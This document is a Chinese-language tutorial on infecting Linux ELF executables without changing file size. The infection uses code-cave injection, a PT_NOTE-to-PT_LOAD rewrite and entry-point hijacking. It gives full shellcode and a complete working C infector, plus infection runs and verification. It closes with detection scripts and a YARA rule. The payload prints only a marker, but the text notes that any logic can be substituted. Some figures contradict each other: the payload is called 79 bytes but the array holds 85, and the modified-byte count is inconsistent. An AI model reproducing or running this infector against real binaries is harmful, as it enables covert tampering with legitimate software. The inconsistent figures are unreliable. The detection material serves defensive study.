「幻核-3」向Linux程序注入代码而文件大小不变
利用 TEXT 段页对齐产生的代码洞(Code Cave),结合 PT_NOTE 段头篡改为 PT_LOAD 的手法,在不改变目标文件大小的前提下,向合法 ELF 程序注入自定义可执行载荷。感染后的程序功能表现完全不受影响,仅哈希值发生变化。
一、引言
ELF(Executable and Linkable Format)是 Linux 系统上可执行文件、共享库与核心转储的标准格式。
二进制寄生(Binary Parasiting)要做的事情一句话就能说清:
在不搞坏宿主程序的前提下,把自己的代码"寄生"进去,让目标每次运行时先跑一遍载荷,再正常执行原有逻辑。
跟传统的代码注入不一样,寄生追求的是"共生"——被感染的程序对用户来说功能完好、行为正常,所有变化都藏在二进制层面。本文走的技术路径源自 Silvio Cesare 在 1998 年提出的 TEXT 段填充感染法,在此基础上做了现代化适配:利用 ELF 段对齐机制天然产生的代码洞注入载荷,同时篡改 PT_NOTE 段头为 PT_LOAD,确保载荷在进程地址空间中被正确映射并执行。
这条路径有一个关键优势——感染前后文件大小完全不变,因为载荷写入的位置本来就是对齐填充的零字节区域,没有往文件里追加任何东西。
二、前置知识:ELF 文件格式精要
要读懂 ELF 寄生技术,必须先对 ELF 文件格式的内部结构有足够精确的认知。下面不做全面铺陈,只提炼与感染路径直接相关的核心概念。
2.1 两套视图:Section vs Segment
ELF 文件同时维护两套组织结构:
- 节(Section):面向链接器。
.text存放机器码,.data存放已初始化数据,.bss存放未初始化数据,.note.*存放构建元信息等。节头表(Section Header Table)位于文件末尾,描述每个节的名称、类型、偏移和大小。 - 段(Segment):面向加载器。内核在
execve()时只关心程序头表(Program Header Table)中的段描述,将对应的文件区域映射到进程地址空间。运行时根本不需要节头表——strip命令可以完全删除它而不影响程序执行。
这种分离带来的直接后果是:攻击者只要操纵 Program Header,就能控制加载器的行为。节头表即使和段描述对不上,也不影响程序正常运行。
2.2 关键数据结构
ELF Header(64 字节,x86_64)核心字段:
e_entry : 程序入口点虚拟地址,内核加载后跳转到此地址
e_phoff : Program Header Table 在文件中的偏移
e_phentsize: 每个 Program Header 条目的大小(56 字节)
e_phnum : Program Header 条目数量Program Header(56 字节)核心字段:
p_type : 段类型 (PT_LOAD=1, PT_NOTE=4, PT_DYNAMIC=2, ...)
p_flags : 段权限 (PF_X=1, PF_W=2, PF_R=4)
p_offset : 段在文件中的偏移
p_vaddr : 段的虚拟地址
p_paddr : 段的物理地址(用户空间通常与 p_vaddr 相同)
p_filesz : 段在文件中的大小
p_memsz : 段在内存中的大小
p_align : 段的对齐要求2.3 段对齐与代码洞
这是整个攻击的物理基础。
PT_LOAD 段的 p_align 通常为 0x1000(4096 字节,即一个内存页)。加载器在映射段时,会将段的起始地址对齐到页边界。
这意味着:如果 TEXT 段的实际代码在文件偏移 0x1234 处结束,而下一个段需要从 0x2000 的页边界开始,那么 0x1234 到 0x1FFF 之间的 0xDCC 字节就是对齐填充——文件中存在、被映射到进程地址空间、拥有与 TEXT 段相同的可执行权限,但内容全是零。
这片区域就是代码洞(Code Cave)。

代码洞的三个关键特性:
- 已存在于文件中 — 写入载荷不会增加文件大小
- 天然可执行 — 位于 TEXT 段内,继承
R-X权限 - 内容为零 — 不影响原有代码逻辑
计算代码洞大小的公式:
cave_size = ALIGN(text_segment.p_offset + text_segment.p_filesz, text_segment.p_align)
- (text_segment.p_offset + text_segment.p_filesz)典型的非 PIE 编译的 C 程序,代码洞大小通常在 几百到数千字节 之间——足以容纳大多数实用载荷。
2.4 PT_NOTE 段
PT_NOTE 段在 ELF 文件中承载构建元数据,包括:
.note.ABI-tag:声明目标操作系统和最低内核版本.note.gnu.build-id:20 字节的构建唯一标识(SHA1)
PT_NOTE 段对程序运行完全不必要。 内核加载器 load_elf_binary() 中处理 PT_NOTE 的逻辑只用于信息记录,跳过它不会引发任何错误。
也就是说,我们可以放心地把
PT_NOTE的 Program Header 条目改写成PT_LOAD,让加载器按我们指定的参数映射文件区域——原来的 NOTE 数据丢了就丢了,没有任何副作用。
三、攻击原理:三步完成寄生
整个感染可以拆成三个原子操作,每一步都对应 ELF 文件中特定字段的修改。

3.1 第一步:定位代码洞
打开目标 ELF 文件,解析 ELF Header 获取 Program Header Table 的位置,遍历所有 Program Header 找到 TEXT 段(类型为 PT_LOAD,权限包含 PF_X)。计算其末尾到下一个对齐边界的距离,这就是可用的代码洞空间。
TEXT 段文件范围: [p_offset, p_offset + p_filesz)
代码洞起始: p_offset + p_filesz
代码洞结束: ALIGN_UP(p_offset + p_filesz, p_align)
可用空间: 代码洞结束 - 代码洞起始如果可用空间小于载荷大小,感染应中止——强行写入会覆盖下一个段的数据。
3.2 第二步:注入载荷并篡改 PT_NOTE
将编写好的 shellcode 写入代码洞位置。然后遍历 Program Header Table,找到类型为 PT_NOTE 的条目,将其字段全部改写:
字段 | 原始值(PT_NOTE) | 改写值(PT_LOAD) |
|
|
|
|
|
|
| NOTE 段的文件偏移 | 载荷在文件中的偏移 |
| NOTE 段的虚拟地址 | 载荷的虚拟地址 |
| 同 | 同 |
| NOTE 段大小 | 载荷大小 |
| NOTE 段大小 | 载荷大小 |
|
|
|

为什么要篡改 PT_NOTE?
代码洞虽然在 TEXT 段的文件范围之内,但部分加载器实现中,TEXT 段的
p_filesz和p_memsz会严格限定映射边界,代码洞里的数据可能根本不在映射区间里。复用 PT_NOTE 的槽位新建一个PT_LOAD条目,就能保证载荷区域被独立映射并拥有明确的可执行权限——算是一层保险,确保在各种符合规范的加载器上都能跑起来。
3.3 第三步:劫持入口点
将 ELF Header 中的
e_entry字段修改为载荷的虚拟地址。这样内核在execve()完成后,会直接跳转到载荷代码而非原始的_start。
载荷的最后几条指令负责跳转回原始入口点(OEP),恢复正常执行流。整个过程对上层应用透明。

攻击效果:
- 文件大小:不变(载荷写入已有的对齐填充区域)
- 文件功能:不变(载荷执行后跳回原始入口)
- 文件哈希:改变(二进制内容已被修改)
- 文件权限/时间戳:可选择性保留(通过
stat()/utimensat()恢复)
四、载荷工程:x86_64 Shellcode 编写
载荷是注入到宿主中实际被执行的机器码。它需要满足两个约束:
- 位置无关或地址已确定 — 因为载荷的加载地址在感染时就可以计算出来(代码洞的虚拟地址),可以使用绝对地址编码。
- 尾部必须跳转回 OEP — 否则宿主程序无法正常执行。
4.1 一个最小化的标记载荷
以下载荷在 x86_64 Linux 上通过 write 系统调用输出一行标记文本,然后跳转回原始入口点。这个载荷主要用于验证感染是否成功——在实战场景中可替换为任意逻辑。
parasite.asm - ELF parasite payload for x86_64 Linux
; 功能: 输出感染标记字符串, 然后跳转回宿主 OEP
BITS 64
_start:
; --- 保存寄存器状态 ---
push rax
push rcx
push rdx
push rsi
push rdi
push r11
; --- write(1, msg, msg_len) ---
mov rax, 1 ; syscall: write
mov rdi, 1 ; fd: stdout
lea rsi, [rel msg] ; buf: 消息地址 (RIP-relative)
mov rdx, msg_len ; count: 消息长度
syscall
; --- 恢复寄存器状态 ---
pop r11
pop rdi
pop rsi
pop rdx
pop rcx
pop rax
; --- 跳转回原始入口点 ---
; 0xAAAAAAAAAAAAAAAA 是占位符, 感染器在运行时填入真实 OEP
mov rax, 0xAAAAAAAAAAAAAAAA
jmp rax
msg: db "[PARASITE] Payload executed.", 10
msg_len equ $ - msg- 寄存器保存/恢复:
syscall指令会破坏rcx和r11(分别保存返回地址和 RFLAGS),其他寄存器也需要保证不被污染,否则 glibc 的初始化代码可能因寄存器状态异常而崩溃。 - RIP 相对寻址:
lea rsi, [rel msg]使用 RIP 相对寻址定位数据,使载荷在任何加载地址上都能正确访问字符串。 - OEP 占位符:
0xAAAAAAAAAAAAAAAA是一个 8 字节的"哨兵值",感染器在将载荷写入文件后,搜索这个模式并替换为真实的原始入口点地址。使用mov rax+jmp rax而非相对跳转,是因为 OEP 距离载荷可能超过jmp rel32的 ±2GB 范围。
4.2 编译与提取
汇编为纯二进制格式(无 ELF 封装)
nasm -f bin -o parasite.bin parasite.asm
查看载荷大小
ls -l parasite.bin
79 字节。
转为 C 数组格式,用于嵌入感染器
xxd -i parasite.bin > parasite.h
反汇编验证
objdump -D -b binary -m i386:x86-64 parasite.bin
4.3 载荷大小分析
组成部分 | 字节数 | 说明 |
寄存器保存 | 7 | 5 条单字节 |
write 系统调用 | 24 |
|
寄存器恢复 | 7 | 5 条单字节 |
OEP 跳转 | 12 |
|
字符串数据 | 29 | 含换行符 |
合计 | 79 | 远小于典型代码洞(数百至数千字节) |
这个载荷体积极小( 79 字节),几乎可以感染任何非 PIE 编译的 ELF 可执行文件。
五、感染器实现
5.1 完整源码
elf_parasite.c - ELF Text Segment Padding Infector
/*
* 原理: 利用 TEXT 段页对齐产生的 Code Cave 注入载荷,篡改 PT_NOTE -> PT_LOAD, 劫持 e_entry.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <elf.h>
/* ========== 载荷定义 ========== */
/*
* 以下字节码由 parasite.asm 编译生成 (nasm -f bin)
* 功能: 输出标记字符串 -> 跳转回 OEP
* OEP 占位符: 0xAAAAAAAAAAAAAAAA (8 bytes at offset OEP_PATCH_OFFSET)
*/
static unsigned char parasite_code[] = {
/* push rax, rcx, rdx, rsi, rdi, r11 */
0x50, 0x51, 0x52, 0x56, 0x57, 0x41, 0x53,
/* mov rax, 1 (sys_write) */
0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00,
/* mov rdi, 1 (stdout) */
0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00,
/* lea rsi, [rip + offset_to_msg] */
0x48, 0x8d, 0x35, 0x1c, 0x00, 0x00, 0x00,
/* mov rdx, 29 (msg length) */
0x48, 0xc7, 0xc2, 0x1d, 0x00, 0x00, 0x00,
/* syscall */
0x0f, 0x05,
/* pop r11, rdi, rsi, rdx, rcx, rax */
0x41, 0x5b, 0x5f, 0x5e, 0x5a, 0x59, 0x58,
/* mov rax, 0xAAAAAAAAAAAAAAAA (OEP placeholder) */
0x48, 0xb8,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA,
/* jmp rax */
0xff, 0xe0,
/* msg: "[PARASITE] Payload executed.\n" */
0x5b, 0x50, 0x41, 0x52, 0x41, 0x53, 0x49, 0x54,
0x45, 0x5d, 0x20, 0x50, 0x61, 0x79, 0x6c, 0x6f,
0x61, 0x64, 0x20, 0x65, 0x78, 0x65, 0x63, 0x75,
0x74, 0x65, 0x64, 0x2e, 0x0a
};
/* OEP 占位符在 parasite_code 中的字节偏移 */
#define OEP_PATCH_OFFSET 46
#define OEP_SENTINEL 0xAAAAAAAAAAAAAAAAULL
#define PARASITE_SIZE sizeof(parasite_code)
/* ========== 辅助宏 ========== */
#define ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1))
#define LOG_INFO(fmt, ...) fprintf(stdout, "[*] " fmt "\n", ##__VA_ARGS__)
#define LOG_OK(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define LOG_ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
/* ========== 感染逻辑 ========== */
int infect(const char *target_path)
{
int fd = -1;
struct stat st;
uint8_t *map = MAP_FAILED;
int ret = -1;
/* 1. 打开目标文件 */
fd = open(target_path, O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
if (fstat(fd, &st) < 0) {
perror("fstat");
goto cleanup;
}
/* 2. 内存映射 */
map = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) {
perror("mmap");
goto cleanup;
}
/* 3. 验证 ELF 魔数 */
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)map;
if (memcmp(ehdr->e_ident, ELFMAG, SELFMAG) != 0) {
LOG_ERR("目标不是有效的 ELF 文件");
goto cleanup;
}
if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) {
LOG_ERR("仅支持 64 位 ELF");
goto cleanup;
}
if (ehdr->e_type != ET_EXEC) {
LOG_ERR("仅支持非 PIE 可执行文件 (ET_EXEC), 当前类型: %d", ehdr->e_type);
goto cleanup;
}
LOG_INFO("目标文件: %s (大小: %ld bytes)", target_path, st.st_size);
LOG_INFO("原始入口点: 0x%lx", (unsigned long)ehdr->e_entry);
/* 4. 遍历 Program Headers, 定位 TEXT 段和 PT_NOTE 段 */
Elf64_Phdr *phdr_table = (Elf64_Phdr *)(map + ehdr->e_phoff);
Elf64_Phdr *text_phdr = NULL;
Elf64_Phdr *note_phdr = NULL;
for (int i = 0; i < ehdr->e_phnum; i++) {
Elf64_Phdr *p = &phdr_table[i];
if (p->p_type == PT_LOAD && (p->p_flags & PF_X)) {
text_phdr = p;
LOG_INFO("TEXT 段: offset=0x%lx, vaddr=0x%lx, filesz=0x%lx, align=0x%lx",
(unsigned long)p->p_offset, (unsigned long)p->p_vaddr,
(unsigned long)p->p_filesz, (unsigned long)p->p_align);
}
if (p->p_type == PT_NOTE && !note_phdr) {
note_phdr = p; /* 取第一个 PT_NOTE */
LOG_INFO("NOTE 段: offset=0x%lx, vaddr=0x%lx, filesz=0x%lx",
(unsigned long)p->p_offset, (unsigned long)p->p_vaddr,
(unsigned long)p->p_filesz);
}
}
if (!text_phdr) {
LOG_ERR("未找到可执行的 PT_LOAD 段 (TEXT)");
goto cleanup;
}
if (!note_phdr) {
LOG_ERR("未找到 PT_NOTE 段, 无法完成感染");
goto cleanup;
}
/* 5. 计算代码洞 */
uint64_t cave_offset = text_phdr->p_offset + text_phdr->p_filesz;
uint64_t cave_end = ALIGN_UP(cave_offset, text_phdr->p_align);
uint64_t cave_size = cave_end - cave_offset;
LOG_INFO("代码洞: offset=0x%lx, size=%lu bytes",
(unsigned long)cave_offset, (unsigned long)cave_size);
if (cave_size < PARASITE_SIZE) {
LOG_ERR("代码洞空间不足: 需要 %zu bytes, 可用 %lu bytes",
PARASITE_SIZE, (unsigned long)cave_size);
goto cleanup;
}
/* 6. 检查代码洞是否已被占用(非零数据) */
int occupied = 0;
for (uint64_t i = 0; i < PARASITE_SIZE; i++) {
if (map[cave_offset + i] != 0x00) {
occupied = 1;
break;
}
}
if (occupied) {
LOG_ERR("代码洞区域已有非零数据, 可能已被感染或数据段重叠");
goto cleanup;
}
/* 7. 计算载荷的虚拟地址 */
uint64_t parasite_vaddr = text_phdr->p_vaddr + text_phdr->p_filesz;
LOG_INFO("载荷虚拟地址: 0x%lx", (unsigned long)parasite_vaddr);
/* 8. 将载荷写入代码洞 */
/* 先修补 OEP 占位符 */
uint64_t original_entry = ehdr->e_entry;
memcpy(¶site_code[OEP_PATCH_OFFSET], &original_entry, sizeof(uint64_t));
/* 验证修补是否正确 */
uint64_t patched_oep;
memcpy(&patched_oep, ¶site_code[OEP_PATCH_OFFSET], sizeof(uint64_t));
if (patched_oep != original_entry) {
LOG_ERR("OEP 修补验证失败");
goto cleanup;
}
/* 写入载荷 */
memcpy(map + cave_offset, parasite_code, PARASITE_SIZE);
LOG_OK("载荷已写入代码洞 (offset=0x%lx, size=%zu bytes)",
(unsigned long)cave_offset, PARASITE_SIZE);
/* 9. 篡改 PT_NOTE -> PT_LOAD */
note_phdr->p_type = PT_LOAD;
note_phdr->p_flags = PF_R | PF_X;
note_phdr->p_offset = cave_offset;
note_phdr->p_vaddr = parasite_vaddr;
note_phdr->p_paddr = parasite_vaddr;
note_phdr->p_filesz = PARASITE_SIZE;
note_phdr->p_memsz = PARASITE_SIZE;
note_phdr->p_align = 0x1000;
LOG_OK("PT_NOTE -> PT_LOAD 篡改完成");
/* 10. 修改入口点 */
ehdr->e_entry = parasite_vaddr;
LOG_OK("入口点已修改: 0x%lx -> 0x%lx",
(unsigned long)original_entry, (unsigned long)parasite_vaddr);
/* 11. 刷新到磁盘 */
if (msync(map, st.st_size, MS_SYNC) < 0) {
perror("msync");
goto cleanup;
}
LOG_OK("感染完成! 文件大小保持 %ld bytes 不变", st.st_size);
ret = 0;
cleanup:
if (map != MAP_FAILED) munmap(map, st.st_size);
if (fd >= 0) close(fd);
return ret;
}
/* ========== 主函数 ========== */
int main(int argc, char *argv[])
{
if (argc != 2) {
fprintf(stderr, "用法: %s <target_elf>\n", argv[0]);
fprintf(stderr, " 将载荷注入目标 ELF 文件的代码洞中\n");
return EXIT_FAILURE;
}
printf("=== ELF Parasite Infector (TEXT Segment Padding) ===\n\n");
if (infect(argv[1]) == 0) {
printf("\n[✓] 感染成功. 运行目标文件验证效果.\n");
return EXIT_SUCCESS;
} else {
printf("\n[✗] 感染失败.\n");
return EXIT_FAILURE;
}
}5.2 编译与使用
编译感染器
gcc -Wall -Wextra -O2 -o elf_parasite elf_parasite.c![]()
准备一个宿主程序作为感染目标
host.c
int main(void) {
printf("Hello from the original host program!\n");
printf("This is a normal, legitimate application.\n");
return 0;
}编译宿主程序
gcc -no-pie -o host host.c![]()
备份原始文件
cp host host.bak![]()
记录感染前的状态
echo "=== 感染前 ==="
ls -l host
md5sum host
readelf -l host | grep -E "(LOAD|NOTE)"
执行感染
./elf_parasite host
记录感染后的状态
echo "=== 感染后 ==="
ls -l host
md5sum host
readelf -l host | grep -E "(LOAD|NOTE)"
验证载荷是否执行

[PARASITE] Payload executed. ← 载荷先执行
Hello from the original host program! ← 宿主正常运行
5.3 关键路径解析
内存映射方式操作文件:
使用
mmap()将整个目标文件映射到内存,所有修改直接通过指针操作完成,最后msync()刷新到磁盘。这比read()/write()+lseek()的方式更简洁,也更适合需要随机访问文件多个位置的场景。
安全检查链:
感染器在写入前执行了多重验证——ELF 魔数、64 位架构、非 PIE 类型、TEXT 段存在性、NOTE 段存在性、代码洞大小充足、代码洞区域为零值(防止重复感染)。任何一项检查失败都会中止感染并给出明确的错误信息。
OEP 修补时机:
在将载荷字节码复制到文件之前,先在内存中的
parasite_code数组里修补 OEP 值,然后整体写入。这比写入后再 seek 到文件中修补更安全——如果修补失败,文件不会被部分污染。
六、实验验证
6.1 环境准备与编译
编译感染器
gcc -Wall -Wextra -O2 -o elf_parasite elf_parasite.c![]()
编写宿主程序
cat > host.c << 'EOF'
#include <stdio.h>
int main(void) {
printf("Hello from the original host program!\n");
printf("This is a normal, legitimate application.\n");
return 0;
}
EOF编译宿主(必须使用 -no-pie,禁用地址随机化)
gcc -no-pie -o host host.c![]()
验证编译结果
file host
备份原始文件用于对比
cp host host.bak6.2 感染前:宿主程序结构分析
在执行感染之前,先用
readelf全面审视宿主文件的 ELF 结构,理解各段布局。这一步对于后续定位代码洞至关重要。
查看 ELF Header 关键字段
readelf -h host 
入口点 0x401040——这是 _start 函数的地址,感染后此值将被篡改。
查看完整的 Program Header Table
readelf -l host
标有
R E权限的 LOAD 段——这就是 TEXT 段(可读可执行)。它的FileSiz = 0x159(345 字节),但Align = 0x1000(4096 字节),意味着从 offset0x1159到0x1FFF有 3751 字节的对齐填充,这就是代码洞。
代码洞大小计算:
TEXT 段文件范围: [0x1000, 0x1000 + 0x159) = [0x1000, 0x1159)
下一个对齐边界: ALIGN_UP(0x1159, 0x1000) = 0x2000
代码洞: [0x1159, 0x2000), 大小 = 0x2000 - 0x1159 = 0xEA7 = 3751 bytes验证代码洞区域确实为全零

hexdump 输出中 * 符号表示重复行省略——整个区域都是 0x00。这确认了代码洞是"干净的",可以安全写入载荷。
6.3 执行感染
./elf_parasite host
- 代码洞有 3751 字节可用,载荷仅需 85 字节,空间充裕
- 载荷被写入文件偏移
0x1159,对应虚拟地址0x401159 - 入口点从
0x401040(原始_start)改为0x401159(载荷起始) - 第一个
PT_NOTE段(PHDR[7])被篡改为PT_LOAD
6.4 感染后:运行验证
./host
输出第一行是载荷打印的标记文本,证明载荷代码在宿主 main() 之前成功执行。后两行是宿主程序的原始输出,功能完全正常。
6.5 文件大小与哈希对比
ls -l host.bak host
计算两个文件的指纹
md5sum host.bak host
指标 | 感染前 | 感染后 | 变化 |
文件大小 | 15776 bytes | 15776 bytes | 不变 |
MD5 |
|
| 已改变 |
程序输出 | 两行正常文本 | 载荷标记 + 两行正常文本 | 功能一致 |
退出码 | 0 | 0 | 不变 |
修改字节数 | — | 82 字节 | 仅占文件总量 0.52% |
两个文件大小完全相同(15776 bytes),但 MD5 哈希完全不同。整个感染只修改了 82 个字节——其中 85 字节是载荷数据(含覆盖的零字节),其余是 ELF Header 的 e_entry 字段和 Program Header 中 PT_NOTE 条目的 8 个字段。
6.6 二进制差异深度分析
用 hexdump 对比感染前后的代码洞区域,直观观察载荷注入效果:
diff -y <(hexdump -C host.bak) <(hexdump -C host) | grep -E "\||\<|\>" | head -n 30
根据 64 位 ELF 文件的标准结构,从文件头开始的第 0x18(24)字节处开始的 8 个字节,存放的就是程序运行时的入口点地址(Entry Point)。
- 原本程序启动时,会直接跳转到内存地址
0x401040执行原程序(小端序解析)。 - 感染后,入口点被改成了
0x401159。而0x1159就是我在上面提到的代码洞(Code Cave)的起始位置!
目标程序一双击运行,不会先执行原本的功能,而是直接先去执行代码洞里的恶意载荷。

看最后两行(000001c0 和 000001d0 偏移处),这是 ELF 的程序头表(Program Header Table)区域,负责指导操作系统如何把文件加载进内存并分配权限:
类型与权限改写:
- 感染前:
04 00 00 00 04 00 00 00(类型为PT_NOTE,权限为R只读) - 感染后:
01 00 00 00 05 00 00 00(类型变成了PT_LOAD,权限变成了R X读+执行)
内存映射地址改写:
- 感染前:
50 03 00 00 ... 50 03 40 00 ... - 感染后:
59 11 00 00 ... 59 11 40 00 ...
如果一个内存区域没有“执行(X)”权限(受 DEP/NX 保护),即使把恶意代码填进去,程序运行到那里也会直接崩溃(Segmentation fault)。
为了让代码洞(Code Cave)里的 Shellcode 能够顺利执行,直接修改了 ELF 的程序头:
- 把一个原本没用的
PT_NOTE段(通常用来存编译器版本等无关紧要的信息)改成了可以加载进内存的PT_LOAD段。 - 把权限从“只读”改成了“可读+可执行(05 代表 R+X)”。
- 把这个段对应的内存映射地址直接指向了
0x401159
感染逻辑链

6.7 反汇编载荷验证
使用 objdump 反汇编已注入的载荷机器码,逐条验证指令正确性:
objdump -D -b binary -m i386:x86-64 --start-address=0x1159 --stop-address=0x11ae host
lea 0x1c(%rip),%rsi计算过程:
RIP 在该指令执行后 = 0x116e + 7 = 0x1175,加上偏移 0x1c = 28,
目标地址 = 0x1175 + 0x1c = 0x1191,即消息字符串 [PARASITE]... 的起始位置。
RIP 相对寻址验证正确。
movabs $0x401040,%rax确认 OEP 已被正确修补为原始入口点地址0x401040。
6.8 使用 GDB 跟踪执行流
gdb -q ./host
程序在
0x401159(载荷)处启动 → 执行载荷逻辑 → 跳转到0x401040(OEP) → 正常进入_start。rax寄存器的值0x401040证实 OEP 跳转指令工作正确。
6.9 使用 strace 追踪系统调用
strace -e trace=write ./host 2>&1
三次 write 系统调用的顺序清晰展示了执行流:第一次 write(1, ..., 29) 来自载荷的 syscall 指令,后两次来自宿主程序的 printf。退出码 0 证明程序正常结束。
七、检测与防御
这种感染手法留下了好几个可以抓住的把柄。

7.1 静态特征检测
特征一:PT_NOTE 段缺失
正常的 GCC/Clang 编译产物都包含 PT_NOTE 段。如果一个 ELF 可执行文件没有 PT_NOTE,或者 PT_NOTE 变成了 PT_LOAD,这本身就是一个强烈的异常信号。
# 检测脚本: 扫描目录下所有 ELF 文件,报告缺少 PT_NOTE 的文件
#!/bin/bash
for f in $(find /usr/bin -type f -executable); do
if file "$f" | grep -q "ELF"; then
if ! readelf -l "$f" 2>/dev/null | grep -q "NOTE"; then
echo "[!] 缺少 PT_NOTE: $f"
fi
fi
done特征二:入口点指向异常地址
正常程序的 e_entry 指向 .text 节的起始区域(通常是 _start 符号)。如果入口点指向 TEXT 段末尾的填充区域,这是明显的感染痕迹。
# 检查入口点是否在 .text 节范围内
readelf -h target | grep "Entry"
readelf -S target | grep ".text"
# 比较入口点地址是否落在 .text 的 [addr, addr+size) 范围内特征三:异常的 PT_LOAD 段
多出一个小体积、高地址的 PT_LOAD 段,且与其他 PT_LOAD 段在文件偏移上存在重叠(因为代码洞在 TEXT 段范围内),这是非常明显的结构异常。
7.2 YARA 检测规则
rule ELF_Parasite_TextPadding
{
meta:
description = "检测 ELF TEXT 段填充感染 (PT_NOTE -> PT_LOAD)"
author = "Security Research"
date = "2026-05"
severity = "high"
strings:
// ELF 魔数
$elf_magic = { 7f 45 4c 46 }
// 载荷中的 OEP 跳转模式: mov rax, imm64; jmp rax
$oep_jump = { 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff e0 }
// write 系统调用序列: mov rax,1; mov rdi,1; ... syscall
$syscall_write = { 48 c7 c0 01 00 00 00 48 c7 c7 01 00 00 00 }
condition:
$elf_magic at 0 and
$oep_jump and
$syscall_write and
// 入口点不在典型的 .text 起始范围内
// (正常 _start 通常在 0x401000-0x401100 附近)
uint32(0x18) > 0x402000 or uint32(0x1C) > 0
}# 使用 YARA 扫描
yara -r elf_parasite_rule.yar /usr/bin/7.3 运行时检测
方法一:eBPF 监控
使用 eBPF 程序挂载到 sched_process_exec tracepoint,捕获 execve 调用并检查目标文件的 ELF 头:
# 使用 bpftrace 快速原型
bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
printf("exec: %s (pid=%d)\n", str(args->filename), pid);
}
'结合用户空间的 ELF 解析逻辑,可以在进程启动时实时检查目标文件是否存在感染痕迹。
方法二:完整性校验
最根本的防御措施是对关键二进制文件维护哈希白名单:
# 建立基线
find /usr/bin /usr/sbin -type f -executable \
-exec sha256sum {} \; > /var/lib/elfbaseline.db
# 定期校验
sha256sum -c /var/lib/elfbaseline.db 2>&1 | grep FAILEDLinux 发行版的包管理器(dpkg --verify、rpm -Va)自带完整性校验功能,可以发现文件被篡改的情况。
八、感悟
做完整个实验回头看:
格式本身就是攻击面。 ELF 的双视图设计(Section 面向工具链,Segment 面向加载器)制造了一个根本性的矛盾:描述文件结构的元数据和控制加载行为的元数据是分离的。攻击者改动 Program Header 中几十个字节,就能让加载器把文件的任意区域当作可执行内存映射进来。
TEXT 段填充感染已经算"经典"技术了。 它的价值不在于拿来做实战武器,而是在于它是理解更复杂技术(PLT/GOT hook、.ctors/.dtors 注入、动态链接器劫持)的入门基础。搞清楚了二进制级别的寄生感染原理,才能真正理解 RELRO、Stack Canary、CFI 这些防御机制为什么被设计出来,以及它们各自防的是什么层面的威胁。
参考文献
- Silvio Cesare, "Unix Viruses - Segment Padding", 1998. 最早系统描述 TEXT 段填充感染技术的论文。
- ELF Specification, Tool Interface Standard (TIS), Version 1.2. ELF 格式的权威规范文档。
- Linux Kernel Source:
fs/binfmt_elf.c—load_elf_binary()函数。内核 ELF 加载器的实现,理解加载器如何处理 Program Header 的核心参考。 man 5 elf— Linux ELF 手册页。Program Header 各字段的语义定义。- Ryan "elfmaster" O'Neill, "Learning Linux Binary Analysis", Packt Publishing, 2016. 系统讲解 ELF 感染技术的专著,覆盖了多种感染变体。
- tmp.out research group, https://tmpout.sh — 当代 ELF/VX 技术研究社区,发表了大量现代 ELF 感染技术的深度文章。
注: ELF 感染技术对目标文件的编译选项(PIE / non-PIE)、链接器版本和内核版本存在依赖,复现时如果遇到差异,首先检查目标文件是否为 ET_EXEC 类型(readelf -h target | grep Type),然后确认 TEXT 段的对齐填充区域是否有足够空间。